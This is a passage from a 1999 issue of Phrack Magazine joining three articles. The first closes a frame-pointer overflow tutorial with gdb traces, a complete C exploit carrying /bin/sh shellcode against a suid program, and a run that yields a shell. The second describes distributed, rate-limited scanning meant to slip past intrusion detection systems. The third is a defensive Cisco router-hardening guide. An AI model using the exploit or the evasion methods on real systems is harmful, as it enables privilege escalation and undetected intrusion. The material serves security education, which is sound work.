0x804813e <func+10>: movl $0x0,0xfffffefc(%ebp)

0x8048148 <func+20>: cmpl $0x100,0xfffffefc(%ebp)

0x8048152 <func+30>: jle 0x8048158 <func+36>

0x8048154 <func+32>: jmp 0x804817c <func+72>

0x8048156 <func+34>: leal (%esi),%esi

0x8048158 <func+36>: leal 0xffffff00(%ebp),%edx

0x804815e <func+42>: movl %edx,%eax

0x8048160 <func+44>: addl 0xfffffefc(%ebp),%eax

0x8048166 <func+50>: movl 0x8(%ebp),%edx

0x8048169 <func+53>: addl 0xfffffefc(%ebp),%edx

0x804816f <func+59>: movb (%edx),%cl

0x8048171 <func+61>: movb %cl,(%eax)

0x8048173 <func+63>: incl 0xfffffefc(%ebp)

0x8048179 <func+69>: jmp 0x8048148 <func+20>

0x804817b <func+71>: nop

0x804817c <func+72>: movl %ebp,%esp

0x804817e <func+74>: popl %ebp

0x804817f <func+75>: ret

End of assembler dump.

(gdb) break *0x804813d

Breakpoint 1 at 0x804813d

(gdb) c

Continuing.

Breakpoint 1, 0x804813d in func ()

(gdb) info register esp

esp 0xbffffc60 0xbffffc60

(gdb)

Bingo. We now have %esp just after the func's frame have been activated. From this value, we can now guess that our buffer will be located at address 0xbffffc60 + 0x04 (size of 'int i') = 0xbffffc64, and that the pointer to our shellcode will be placed at address 0xbffffc64 + 0x100 (size of 'char buffer[256]') ‑ 0x04 (size of our pointer) = 0xbffffd60.

‑‑‑‑[ Time to attack

Having those values will enable us to write a full version of the exploit, including the shellcode, the shellcode pointer and the overwriting byte. The value we need to overwrite the saved %ebp's last byte will be 0x60 ‑ 0x04 = 0x5c since, as you remember, we pop %ebp juste before returning from main(). These 4 bytes will compensate for %ebp being removed from the stack. As for the pointer to our shellcode, we don't really need to have it point to an exact address. All we need is to make the processor return in the middle of the nops between the beginning of the overflowed buffer (0xbffffc64) and our shellcode (0xbffffc64 ‑ sizeof(shellcode)), like in a usual buffer overflow. Let's use 0xbffffc74.

ipdev:~/tests$ cat > exp.c

#include <stdio.h>

#include <unistd.h>

char sc_linux[] = "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07" "\x89\x56\x0f\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12" "\x8d\x4e\x0b\x8b\xd1\xcd\x80\x33\xc0\x40\xcd\x80\xe8" "\xd7\xff\xff\xff/bin/sh";

main()

{

int i, j;

char buffer[1024];

bzero(&buffer, 1024);

for (i=0;i<=(252‑sizeof(sc_linux));i++)

{

buffer[i] = 0x90;

}

for (j=0,i=i;j<(sizeof(sc_linux)‑1);i++,j++)

{

buffer[i] = sc_linux[j];

}

buffer[i++] = 0x74; /*

buffer[i++] = 0xfc; * Address of our buffer buffer[i++] = 0xff; *

buffer[i++] = 0xbf; */

buffer[i++] = 0x5c;

execl("./suid", "suid", buffer, NULL);

}

^D

ipdev:~/tests$ gcc exp.c ‑o exp

ipdev:~/tests$ ./exp

bash$

Great! Let's take a better look at what really happened. Although we built our exploit around the theory I just put in this paper, it would be nice to watch everything get tied together. You can stop reading right now if you understood everything explained previously, and start looking for vulnerabilities.

ipdev:~/tests$ gdb ‑‑exec=exp ‑‑symbols=suid

...

(gdb) run

Starting program: /home/klog/tests/exp

Program received signal SIGTRAP, Trace/breakpoint trap. 0x8048090 in ___crt_dummy__ ()

(gdb)

Let's first put some breakpoints to watch our careful exploitation of our suid program occur in front of our eyes. We should try to follow the value of our overwritten frame pointer until our shellcode starts getting executed.

(gdb) disassemble func

Dump of assembler code for function func:

0x8048134 <func>: pushl %ebp

0x8048135 <func+1>: movl %esp,%ebp

0x8048137 <func+3>: subl $0x104,%esp

0x804813d <func+9>: nop

0x804813e <func+10>: movl $0x0,0xfffffefc(%ebp)

0x8048148 <func+20>: cmpl $0x100,0xfffffefc(%ebp)

0x8048152 <func+30>: jle 0x8048158 <func+36>

0x8048154 <func+32>: jmp 0x804817c <func+72>

0x8048156 <func+34>: leal (%esi),%esi

0x8048158 <func+36>: leal 0xffffff00(%ebp),%edx

0x804815e <func+42>: movl %edx,%eax

0x8048160 <func+44>: addl 0xfffffefc(%ebp),%eax

0x8048166 <func+50>: movl 0x8(%ebp),%edx

0x8048169 <func+53>: addl 0xfffffefc(%ebp),%edx

0x804816f <func+59>: movb (%edx),%cl

0x8048171 <func+61>: movb %cl,(%eax)

0x8048173 <func+63>: incl 0xfffffefc(%ebp)

0x8048179 <func+69>: jmp 0x8048148 <func+20>

0x804817b <func+71>: nop

0x804817c <func+72>: movl %ebp,%esp

0x804817e <func+74>: popl %ebp

0x804817f <func+75>: ret

End of assembler dump.

(gdb) break *0x804817e

Breakpoint 1 at 0x804817e

(gdb) break *0x804817f

Breakpoint 2 at 0x804817f

(gdb)

Those first breakpoints will enable us to monitor the content of %ebp before and after being poped from the stack. These values will correspond to the original and overwritten values.

(gdb) disassemble main

Dump of assembler code for function main:

0x8048180 <main>: pushl %ebp

0x8048181 <main+1>: movl %esp,%ebp

0x8048183 <main+3>: cmpl $0x1,0x8(%ebp)

0x8048187 <main+7>: jg 0x80481a0 <main+32>

0x8048189 <main+9>: pushl $0x8058ad8

0x804818e <main+14>: call 0x80481b8 <_IO_printf>

0x8048193 <main+19>: addl $0x4,%esp

0x8048196 <main+22>: pushl $0xffffffff

0x8048198 <main+24>: call 0x804d598 <exit>

0x804819d <main+29>: addl $0x4,%esp

0x80481a0 <main+32>: movl 0xc(%ebp),%eax

0x80481a3 <main+35>: addl $0x4,%eax

0x80481a6 <main+38>: movl (%eax),%edx

0x80481a8 <main+40>: pushl %edx

0x80481a9 <main+41>: call 0x8048134 <func>

0x80481ae <main+46>: addl $0x4,%esp

0x80481b1 <main+49>: movl %ebp,%esp

0x80481b3 <main+51>: popl %ebp

0x80481b4 <main+52>: ret

0x80481b5 <main+53>: nop

0x80481b6 <main+54>: nop

0x80481b7 <main+55>: nop

End of assembler dump.

(gdb) break *0x80481b3

Breakpoint 3 at 0x80481b3

(gdb) break *0x80481b4

Breakpoint 4 at 0x80481b4

(gdb)

Here we want to monitor the transfer of our overwritten %ebp to %esp and the content of %esp until a return from main() occurs. Let's run the program.

(gdb) c

Continuing.

Breakpoint 1, 0x804817e in func ()

(gdb) info reg ebp

ebp 0xbffffd64 0xbffffd64

(gdb) c

Continuing.

Breakpoint 2, 0x804817f in func ()

(gdb) info reg ebp

ebp 0xbffffd5c 0xbffffd5c

(gdb) c

Continuing.

Breakpoint 3, 0x80481b3 in main ()

(gdb) info reg esp

esp 0xbffffd5c 0xbffffd5c

(gdb) c

Continuing.

Breakpoint 4, 0x80481b4 in main ()

(gdb) info reg esp

esp 0xbffffd60 0xbffffd60

(gdb)

At first, we see the original value of %ebp. After being poped from the stack, we can see it being replaced by the one which has been overwritten by the last byte of our overflowing string, 0x5c. After that, %ebp is moved to %esp, and finally, after %ebp is being poped from the stack again, %esp is incremented by 4 bytes. It gives us the final value of 0xbffffd60. Let's take a look at what stands there.

(gdb) x 0xbffffd60

0xbffffd60 <__collate_table+3086619092>: 0xbffffc74

(gdb) x/10 0xbffffc74

0xbffffc74 <__collate_table+3086618856>: 0x90909090 0x909090900x90909090 0x90909090

0xbffffc84 <__collate_table+3086618872>: 0x90909090 0x909090900x90909090 0x90909090

0xbffffc94 <__collate_table+3086618888>: 0x90909090 0x90909090

(gdb)

We can see that 0xbffffd60 is the actual address of a pointer pointing in the middle of the nops just before of our shellcode. When the processor will return from main(), it will pop this pointer into %eip, and jump at the exact address of 0xbffffc74. This is when our shellcode will be executed.

(gdb) c

Continuing.

Program received signal SIGTRAP, Trace/breakpoint trap. 0x40000990 in ?? ()

(gdb) c

Continuing.

bash$

‑‑‑‑[ Conclusions

Although the technique seems nice, some problems remain unresolved. Altering a program's execution flow with only one byte of overwriting data is, for sure, possible, but under what conditions? As a matter of fact, reproducing the exploitation context can be a hard task in a hostile environment, or worst, on a remote host. It would require us to guess the exact stack size of our target process. To this problem we add the necessity of our overflowed buffer to be right next to the saved frame pointer, which means it must be the first variable to be declared in its function. Needless to say, padding must also be taken in consideration. And what about attacking big endian architectures? We cannot afford to be only able to overwrite the most significant byte of the frame pointer, unless we have the ability to reach this altered address...

Conclusions could be drawn from this nearly impossible to exploit situation. Although I would be surprised to hear of anyone having applied this technique to a real world vulnerability, it for sure proves us that there is no such thing as a big or small overflow, nor is there such thing as a big or small vulnerability. Any flaw is exploitable, all you need is to find out how.

Thanks to: binf, rfp, halflife, route

‑‑‑‑[ EOF

Distributed Information Gathering

‑‑‑‑‑‑‑[ Phrack Magazine ‑‑‑ Vol. 9 | Issue 55 ‑‑‑ 09.09.99 ‑‑‑ 09 of 19 ]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑[ Distributed Information Gathering ]

‑‑‑‑‑‑‑‑[ hybrid <hybrid_@hotmail.com> ]

‑‑‑‑[ Overview

Information gathering refers to the process of determining the characteristics of one or more remote hosts (and/or networks). Information gathering can be used to construct a model of a target host, and to facilitate future penetration attempts.

This article will discuss and justify a new model for information gathering, namely: distributed information gathering.

The focus is on eluding detection during the information gathering stage(s) of an attack, particularly by NIDS (Network Intrusion Detection Systems).

This article is adjunct to the superb work of both Thomas H. Ptacek and Timothy N. Newsham [1], and to horizon [2].

Please note that I do not claim to have discovered the distributed information gathering methodology [3]; this article is a consolidation, discussion, and extrapolation of existing work.

‑‑‑‑[ Introduction

The current methods used to perform remote information gathering are well documented [4], but are reiterated briefly here:

I. Host Detection

Detection of the availability of a host. The traditional method is to elicit an ICMP ECHO_REPLY in response to an ICMP ECHO_REQUEST, using ping(1) or fping(1).

II. Service Detection

A.K.A. port scanning. Detection of the availability of TCP, UDP, or RPC services, e.g. HTTP, DNS, NIS, etc. Methods include SYN and FIN scanning, and variations thereof e.g. fragmentation scanning.

III. Network Topology Detection

I know of only two methods ‑ TTL modulation (traceroute), and record route (e.g. ping ‑R), although classical 'sniffing' is another (non‑invasive) method.

IV. OS Detection

A.K.A TCP/IP stack fingerprinting. The determination of a remote OS type by comparison of variations in OS TCP/IP stack implementation behavior; see nmap(1).

‑‑‑‑[ Conventional Information Gathering Paradigm

The conventional method of information gathering is to perform information gathering techniques with a 'one to one' or 'one to many' model; i.e. an attacker performs techniques in a (usually) linear way against either one target host or a logical grouping of target hosts (e.g. a subnet).

Conventional information gathering is often optimized for speed, and often executed in parallel (e.g. nmap).

‑‑‑‑[ Distributed Information Gathering Paradigm

With a distributed method, information gathering is performed using a 'many to one' or 'many to many' model. The attacker utilizes multiple hosts to execute information gathering techniques in a random, rate‑limited, non‑linear way.

The meta‑goal of distributed information gathering is to avoid detection either by N‑IDS (network intrusion detection systems) or by human analysis (e.g. system administrators).

Distributed information gathering techniques seek to defeat the attack detection heuristic employed by N‑IDS'; this heuristic is explained below.

‑‑‑‑[ N‑IDS Attack Detection Heuristic

Many methods exist to perform (pseudo) real‑time intrusion detection analysis of network traffic data, of which the two major categories are M‑IDS (misuse detection) and A‑IDS (anomaly detection). A‑IDS exist at present primarily in the research domain, such as at COAST [5]; M‑IDS employ a signature analysis method (analogous in some respects to virus scanning software), and are in widespread use in commercial and free N‑IDS.

N‑IDS signatures can be delineated into two categories ‑ those that use composite or atomic signatures. Atomic signatures relate to a single "event" (in general, a single packet), e.g. a large packet attack / ping attack. Composite signatures comprise multiple events (multiple packets), e.g. a port scan or SYN flood.

To detect malicious or anomalous behavior, composite signatures usually employ a simple equation with THRESHOLD and DELTA components. A THRESHOLD is a simple integer count; a DELTA is a time duration, e.g. 6 minutes.

For example, a signature for a SYN flood [6] might be:

'SYN flood detected if more than 10 SYN packets seen in under 75 seconds'

Therefore in the above example, the THRESHOLD is "10 packets", and the DELTA is "75 seconds".

‑‑‑‑[ N‑IDS Subversion

Within each monitoring component of a N‑IDS the THRESHOLD and DELTA values associated with each signature must be carefully configured in order to flag real attacks, but to explicitly not flag where no attack exists. A 'false positive' is defined as the incorrect determination of an attack; a 'false negative' is defined as the failure to recognize an attack in progress.

This process of configuration is a non‑trivial "balancing act" ‑ too little and the N‑IDS will flag unnecessarily often (and likely be ignored), too much and the N‑IDS will miss real attacks.

Using this information, the goal of distributed information gathering is therefore not only to gather information, but also to induce a false negative 'state' in any N‑IDS monitoring a target.

The techniques employed by distributed information gathering to subvert N‑IDS are outlined below.

‑‑‑‑[ Distributed Information Gathering Techniques

I. Co‑operation

By employing a 'many to one' or 'many to many' model, multiple hosts can be used together to perform information gathering. Multiple source hosts will make the correlation and detection duties of a N‑IDS more complex.

Co‑operation seeks to subvert the THRESHOLD component of a N‑IDS attack recognition signature.

II. Time Dilation

By extending (or 'time stretching') the duration of an attack (particularly the host and service detection phases), we hope to 'fall below' the DELTA used by N‑IDS' to detect an attack.

III. Randomization

Packets used to perform information gathering, such as an ICMP datagram or a SYN packet, should employ randomness where possible (within the constraints of the relevant RFC definition), e.g. random TCP sequence and acknowledgement numbers, random source TCP port, random IP id, etc. Libnet [7] is an excellent portable packet generation library that includes randomization functionality.

Randomization should also be utilized in the timing between packets sent, and the order of hosts and/or ports scanned. For example, a port scan of ports 53, 111, and 23 with non‑regular timing between each port probed (e.g. between 6 and 60 minutes) is preferential to a linear, incremental scan, executed within a few seconds.

In the IP header, I suggest randomization of IP ID and possibly TTL; within the TCP header the source port, sequence number, and acknowledgement number (where possible); and within the UDP header the source port.

The algorithm used to perform randomization must be carefully selected, else the properties of the algorithm may be recordable as a signature themselves! There are multiple documents which discuss randomization for security, of which [8] is a good place to start.

‑‑‑‑[ Advantages

The advantages in employing a distributed information gathering methodology are therefore:

I. Stealth

By employing co‑operation, time dilation, and randomization techniques we hope to elude N‑IDS detection.

II. Correlation Information

The acquisition of multiple 'points of view' of a target enables a more complete model of the target to be constructed, including multiple route and timing information.

III. Pervasive Information Gathering

The 'r‑box' countermeasures (such as dynamic router or firewall configuration) employed by certain N‑IDS becomes less effective when multiple source hosts are employed.

‑‑‑‑[ N‑IDS Evolution

How will N‑IDS evolve to counter distributed information gathering? It is likely that detection of distributed information gathering will be available only as a retrospective function, opposed to (pseudo) real time. Logs from multiple N‑IDS agents must be centralized and cross‑correlated before distributed information gathering attacks can be detected.

In a large enterprise (for example a military, government, or large corporation installation) this process of event consolidation must be considered a non‑trivial task.

‑‑‑‑[ Commercial Information Gathering Software a.k.a. Vulnerability Scanners

There exists several advantages in using a distributed scanning model for commercial vendors of network vulnerability scanning technology. A distributed model would enable localized 'zones of authority' (i.e. delegation of authority), could gather information behind NAT (and firewalls, where configured), and overcome network topology specific bandwidth restrictions.

At this time I am aware of no commercial (or free) vulnerability scanners that employ a distributed architecture.

‑‑‑‑[ Conclusion

Distributed information gathering is an extrapolation and logical evolution of the existing traditional information gathering paradigm. It's primary goal is to elude detection by automated (N‑IDS) or human sources.

If you choose to employ distributed information gathering techniques, you must trade immediacy of results against stealth.

‑‑‑‑[ References

[1] ‑ "Insertion, Evasion, and Denial of Service: Eluding Network Intrusion Detection", Thomas H. Ptacek & Timothy N. Newsham, January 1998.

[2] ‑ "Defeating Sniffers and Intrusion Detection Systems", horizon, Phrack Magazine, Volume 8 Issue 54 Article 10 of 12, Dec 25th 1998.

[3] ‑ "SHADOW Indications Technical Analysis ‑ Coordinated Attacks and Probes", Stephen Northcutt & Tim Aldrich, Sep 21 1998.

[4] ‑ "The Art of Port Scanning", Fyodor, Phrack Magazine, Volume 7 Issue 51 article 11 of 17, September 01 1997.

[5] ‑ COAST, http://www.cs.purdue.edu/coast/ids

[6] ‑ "Project Neptune", daemon9 / route / infinity, Phrack Magazine, Volume 7 Issue Forty‑Eight File 13 of 18.

[7] ‑ Libnet, route, http://www.packetfactory.net/libnet

[8] ‑ RFC 1750, "Randomness Recommendations for Security", December 1994.

[9] ‑ Libpcap, LBNL Network Research Group, http://ee.lbl.gov

Building Bastion Routers with IOS

‑‑‑‑‑‑‑[ Phrack Magazine ‑‑‑ Vol. 9 | Issue 55 ‑‑‑ 09.09.99 ‑‑‑ 10 of 19 ]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑[ Building Bastion Routers Using Cisco IOS ]

‑‑‑‑‑‑‑‑[ brett <beldridg@best.com> / variable k <variablek@home.com> ]

‑‑‑‑[ Abstract

Members of the firewall and network security community are generally clueful when it comes to the topic of bastion hosts, and the various approaches and issues involved in constructing them on different platforms. However, less attention has been paid to the subject of securing routers that are exposed to attack‑‑or building bastion routers.

Routers, and in particular Cisco routers, are often deployed in various parts of a firewall system, for example as border and choke packet filters. As such, they can be high‑value targets for attackers. This paper provides a simple methodology and specific examples for securing Cisco routers running IOS. Our focus and examples are based upon the IOS versions we are most familiar with: 11.2 and 11.3. However, the principles we present may also apply to older and newer IOS versions (e.g., 12.0, other 11.X versions and 10.X), and possibly to other vendors' gear.

‑‑‑‑[ What is a Bastion Router Anyway?

Routers previously did just that: route IP. However, modern routers have features that permit them to be used as static packet screens, security (VPN) gateways, and other key components in security systems. There is even an IOS variant called the Firewall Feature Set (this is different than the PIX firewall), which we don't cover here because we haven't used it, that supports stateful packet filtering, intrusion detection features and other stuff. We use the term bastion [0] router to refer to a router that requires some level of special configuration to secure it against attack.

We generally focus on two areas: protecting the router itself and protecting hosts behind the router (or possibly on other sides).

‑‑‑[ Basic Methodology ]‑‑‑

Our methodology is relatively simple. We want to disable features and services that are on by default and that we are not using. In other words: if we're not using something, we turn it off. We enable features that may aid in protecting the router or the networks behind the router. If we need a feature we try to protect it as best we can using the protection mechanisms that IOS provides, for example VTY filters. We use ACLs on each interface that permit the specific traffic that we have decided to permit and deny everything else (the "default deny" stance).

IOS supports many, many features; and there are many different releases and a number of feature sets available. Our examples assume IOS version 11.2 and 11.3, with the IP Only feature set, though we will point out exceptions (e.g., TCP Intercept and the Enterprise feature set) as they come up. Also, we can't possibly cover all the various ways to configure something‑‑ our goal is to present some of the things we've learned and some of the methods by which we configure bastion routers.

So the basic methodology we will follow is:

1. Password protection

2. Limit remote access

3. Limit local access

4. Display login banner

5. Configure SNMP

6. Configure logging and NTP

7. Other protection mechanisms

8. Anti‑spoofing

9. Mitigate Denial of Service attacks

10. Protect hosts behind the router

11. Verify the configuration

For purposes of the examples, we will use a sample network with the following topology. We will also assume that 192.168/16 is routable.

Eth0 192.168.0.0/16 Eth1 172.16.1.0/30 .1 +‑‑‑‑‑‑‑‑‑‑+ .1 .2

private net ‑‑‑‑‑‑‑‑‑‑| Router |‑‑‑‑‑‑‑‑‑‑ ISP

+‑‑‑‑‑‑‑‑‑‑+

access‑list e0‑in ‑‑> <‑‑ access‑list e1‑in

The final complete configuration will be given at the end of the paper in Appendix A.

‑‑‑‑[ Background

Brief Introduction to the IOS Command Line Interface

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Cisco's IOS (Internetworking Operating System) thankfully supports a Command Line Interface which Cisco calls CLI. The command line interface can be accessed via the console port, a modem, or a TELNET connection. A command line session is referred to as an EXEC session, and it's similar to a Unix shell process. There are two different kinds of traditional EXEC sessions: user EXEC level and privileged EXEC level. User EXEC level can be considered similar to a non‑root login account on a Unix system, and privileged EXEC level somewhat like the super‑user account, or a UID 0 process. The prompt even changes to end in a pound sign when you switch to privileged EXEC level:

reeb>enable

Password:

reeb#

reeb#disable

reeb>

You can also customize privilege levels. We'll cover this a bit more later on.

Context sensitive help is also available. Typing a question mark will provide a list of available commands and options that may be entered at that point. For example,

reeb#debug ip r?

rip routing rsvp rtp

reeb#debug ip rip ?

events RIP protocol events

reeb#debug ip rip

CLI also supports a mini Emacs‑like editing mode and command history by default. So you have C‑n for next line, C‑p for previous line, C‑a for beginning of line, C‑e for end of line, C‑u to erase the line, C‑w for erase previous word, and also TAB to finish a partial command. The arrow keys should also work.

Configuration Settings

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

One of the things that can be very confusing with IOS is how configuration settings are presented to the user. A default setting is not displayed when you view the router configuration. And the default setting can change across different IOS versions. For example, in IOS 11.2, the services `udp‑small‑servers` and `tcp‑small‑servers` are enabled by default. So when you disable UDP and TCP small servers you will see the following in the configuration:

version 11.2

no service udp‑small‑servers

no service tcp‑small‑servers

And by default you would see no configuration setting. However, the defaults changed in 11.3 to "no service" for both. So when no configuration setting is displayed, UDP and TCP small servers are disabled. You will see the following when they are enabled:

version 11.3

service udp‑small‑servers

service tcp‑small‑servers

You need to keep this in mind when building bastion Cisco's, and it may take some investigation and detective work to determine which services and features are enabled.

‑‑‑‑[ Step 1 : Password protection

One of the first things we can do is configure and protect the passwords. These include routing protocol and NTP authentication secrets, login, and enable (privileged EXEC mode) passwords.

passwords and privileges

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

There are many options available for user authentication; for example, overriding access classes and TACACS support that we won't go into here. However, there are some important things we wanted to mention regarding passwords and privilege support. First, different types of passwords have different construction and length requirements. For example, an OSPF simple password can be any continuous string of characters that can be entered from the keyboard up to 8 bytes in length, while an OSPF MD5 key can be any alphanumeric password up to 16 bytes long. A line password can be up to 80 characters in length and can contain any alphanumeric characters including spaces. An enable secret and username password can be up to 25 characters and can contain embedded spaces. In some cases the construction requirements are not clearly documented so you'll have to experiment to come up with a "good" password depending on your environment.

Earlier we mentioned "traditional" user EXEC and privileged EXEC. There are actually 16 privilege levels, numbered 0 through 15. Level 1 is the normal user EXEC mode and 15 is the default privileged EXEC mode. To expand on the sample earlier:

reeb>show privilege

Current privilege level is 1

reeb>enable

Password:

reeb#show privilege

Current privilege level is 15

reeb#disable

reeb>show privilege

Current privilege level is 1

You can use the privilege mechanism to tailor the authentication configuration to your specific environment.

For sample purposes, we will use separate, unique, personal login names for each of the administrators granted access to the router for audit trail purposes. We will start with two users:

username variablek password st0rk

username brett password r0ddag

service password‑encryption

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

By default, anyone with privileged access can view all of the passwords on the router. If somebody is watching you configure the router, they can "shoulder surf" and capture passwords.

You can use the "service password‑encryption" command to encode or scramble most of the various router password strings. These scrambled passwords are also known as type 7 passwords because of the digit that precedes the encoded password string. Note that while technically the passwords are encrypted, this service provides minimal protection and only serves to hide the passwords from casual observation. The scrambled passwords can be decoded trivially by a simple shell script [1] or on a bar napkin while munching on a plate of nachos or (in our case) drinking a Guinness.

Note that for some reason the password‑encryption service does not encode SNMP community names.

Granted this adds little in terms of password security, but we guess it doesn't hurt. We mainly point it out because its name has led to confusion regarding its purpose and strength.

enable secret

‑‑‑‑‑‑‑‑‑‑‑‑‑

The IOS equivalent of root access is privileged EXEC mode which is protected by the enable password. There are two methods of protecting the enable password. The first method is to use "enable password" which only uses the trivial Cisco encoding mechanism.

The second method is to use the "enable secret" command which uses MD5, a one‑way cryptographic hash function. Passwords protected with MD5 are also known as type 5 passwords. To use the enable secret command you can specify the enable secret then disable the enable password if you have one:

reeb(config)#enable secret s3kr3t

reeb(config)#no enable password

reeb(config)#exit

reeb#sh running‑config

Building configuration...

enable secret 5 $1$k2gM$4W2tuuTUqxuRd.LQxsh/v.

You might ask why not protect all passwords and secrets with MD5? This won't work because MD5 is a one‑way hash, and IOS needs to be able to access clear text strings for stuff like the MD5‑based MAC secret that NTP can use for authentication, or OSPF simple authentication strings and so on.

‑‑‑‑[ Step 2 : Limit remote access

Cisco routers can be remotely managed via a TELNET connection. It is a good idea to limit, or even disable, TELNET access. To limit access you can specify an access class on the VTY lines:

access‑list 99 permit host mgmt_ip

access‑list 99 deny any

!

line vty 0 4

access‑class 99 in

login local

In addition, if you are using access lists with a default deny, you will need to allow connections to tcp/23 from specific source IP addresses on the inside:

!

interface Ethernet0

ip access‑group e0‑in in

!

ip access‑list extended e0‑in

permit tcp host mgmt_ip host 192.168.0.1 eq 23

If we want to disable the TELNET listener completely (a good idea for exposed routers that are high visibility targets), the following will work:

line vty 0 4

transport input none

An ultra‑paranoid configuration might even be something like:

access‑list 99 deny any

!

line vty 0 4

access‑class 99 in

exec‑timeout 0 1

login local

transport input none

This configuration may be a bit overboard but it:

* sets a deny any access class on the VTY

* disables the TELNET listener

* sets the EXEC session timeout to 1 second

There have been requests to add SSH support to IOS, apparently from as long as 3 years ago. There was even a rumor that IOS 12.0 would contain SSH support, but it didn't make it in. There is also Kerberos support in IOS, and a way to do Kerberized TELNET to the router, but we haven't used that.

‑‑‑‑[ Step 3 : Limit local access

By default, when you connect to the console or AUX port, you are given user EXEC mode access without a password. If the router cannot be physically secured, it is a good idea to set a user EXEC password on these ports. Even if the router is in a secured environment, like a locked machine room, it doesn't hurt.

line con 0

login local

! logout idle console access after 2 min

exec‑timeout 2 0

line aux 0

! Uncomment below to disable logins on the AUX port

! no exec

! Or allow password access

login local

This will not stop a determined attacker from gaining access to the router. If an attacker has physical access to the box, they can use well‑known password recovery techniques to gain access. [2]

‑‑‑‑[ Step 4 : Display login banner

It's a good idea to configure a login banner that warns users against unauthorized access. This may help in the event of legal action against an intruder. We tend to use something like the following:

banner motd #

This is a private system operated for and by Big Phreaking Bank (BPB).

Authorization from BPB management is required to use this system.

Use by unauthorized persons is prohibited.

#

Though you should tailor it to meet your local requirements. BPB might also be considered an "inviting" target. For examples and more detailed information on the topic of login banners refer to [3].

‑‑‑‑[ Step 5 : SNMP

Another common method of router management is to use the Simple Network Management Protocol (SNMP). IOS supports SNMPv1 and SNMPv2. SNMPv1 was not designed with authentication and data privacy features. Some implementations of SNMPv2 contain security enhancements. SNMPv3 apparently contains more security enhancements.

We generally leave SNMP disabled on our bastion routers, however if you must enable it, we recommend the following protective steps:

* Use a hard‑to‑guess community name

* Make the MIB read only

* Permit access only from specific hosts

These precautions can be implemented using the following configuration:

! allow SNMP reads from hosts in access‑list 10

snmp‑server community h4rd2gu3ss ro 10

!

! access list for SNMP reads

access‑list 10 permit host snmp_mgmt_ip

access‑list 10 deny any

!

! send traps with community names

snmp‑server trap‑authentication

! send all traps to the management host on the inside interface snmp‑server trap‑source Ethernet0

snmp‑server host snmp_mgmt_ip h4rd2gu3ss

!

interface Ethernet0

ip access‑group e0‑in in

!

ip access‑list extended e0‑in

! allow access from a specific machine on the inside

permit udp host snmp_mgmt_ip host 192.168.0.1 eq snmp

‑‑‑‑[ Step 6 : Logging data

If your security policy requires that logs be generated for access list drops or other security events, you can use the IOS syslog facility. Since syslog uses UDP, which is not a reliable transport mechanism, it can be good idea to log messages to more than one host, which may reduce the occurrence of lost messages due to packet loss or other weirdness (and it's a simple way to automatically create a backup of your logs). Also, using NTP to synchronize all of the clocks greatly aids forensic log analysis in the event of an attack or break in.

NTP Configuration

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Without synchronized time on the various hosts within your firewall complex and network, event correlation from log message timestamps is nearly impossible. The NTP protocol and the Cisco NTP implementation support cryptographic authentication using MD5 (DES is also supported by the protocol as the authentication hash but MD5 doesn't suffer from US export bogosity). This allows the NTP client to authenticate its time sources, and should prevent attackers from spoofing NTP servers and playing with the system clock. If your budget can handle it, consider a network‑based GPS stratum 1 NTP time server that supports MD5 authentication. Below we configure NTP to allow updates only from our internal time servers and authenticate the messages using MD5 for the message authentication code (MAC).

! Setup our clock environment

clock timezone PST ‑8

clock summer‑time zone recurring

! Configure NTP

ntp authenticate

ntp authentication‑key 1 md5 ntpk3y

ntp trusted‑key 1

ntp access‑group peer 20

ntp server ntp_server1_ip key 1 prefer

ntp server ntp_server2_ip key 1

!

! Allow selected ntp hosts

access‑list 20 permit host ntp_server1_ip

access‑list 20 permit host ntp_server2_ip

access‑list 20 deny any

Syslog setup

‑‑‑‑‑‑‑‑‑‑‑‑

In this case, we will send syslog messages to two hosts and stamp the messages with the local date and time:

! Send syslog messages to the mgmt host and log with localtime service timestamps log datetime localtime

logging syslog1_ip

logging syslog2_ip

By default, the router will send syslog messages with a local7 facility. If you want to store router messages in a separate file, your syslog.conf should include the line:

# router messages

local7.* /var/adm/router.log

The exact syntax and log file location may vary depending upon the syslogd you are using.

You can change the facility using:

logging facility facility‑type

‑‑‑‑[ Step 7 : Other protection mechanisms

no ip source‑route

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Some attacks use the IP source route option. The attacks rely on the ability of the attacker to specify the path a packet will take. An attacker can send a source routed packet to a victim host behind the router which will then send back packets along the same path. This allows replies to spoofed packets to return to the attacker. Many modern operating systems allow you to drop IP packets with source route options set. However, it is a good idea to drop these packets at the edge using the "no ip source‑route" option.

Limiting ICMP

‑‑‑‑‑‑‑‑‑‑‑‑‑

Several DoS attacks use the ICMP protocol. It is a good idea to limit what types of ICMP messages are allowed. At a minimum, in order to allow for Path MTU discovery (PMTU), you should consider permitting packet‑too‑big messages. The other types of ICMP messages allowed will depend upon the local security policy.

ip access‑list extended e1‑in

! Allow fragmentation needed messages (type 3 code 4)

permit icmp any 192.168.0.0 0.0.255.255 packet‑too‑big

! Allow outbound ping and MS style traceroute (type 0)

permit icmp any 192.168.0.0 0.0.255.255 echo‑reply

! Uncomment to allow ping to the inside net (type 8)

! permit icmp any 192.168.0.0 0.0.255.255 echo

! Uncomment to allow traceroute

! permit icmp any 192.168.0.0 0.0.255.255 ttl‑exceeded

Disable unnecessary services

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Next we can disable unnecessary services. By default, IOS has some services enabled which will allow attackers to gain information and perform Denial of Service attacks (though see above for issues with changing defaults in newer IOS versions and determining what is really enabled).

We will disable these:

no service udp‑small‑servers

no service tcp‑small‑servers

no service finger

no ip bootp server

! not enabled by default but be paranoid

no ip http server

no cdp run

‑‑‑‑‑‑‑‑‑‑

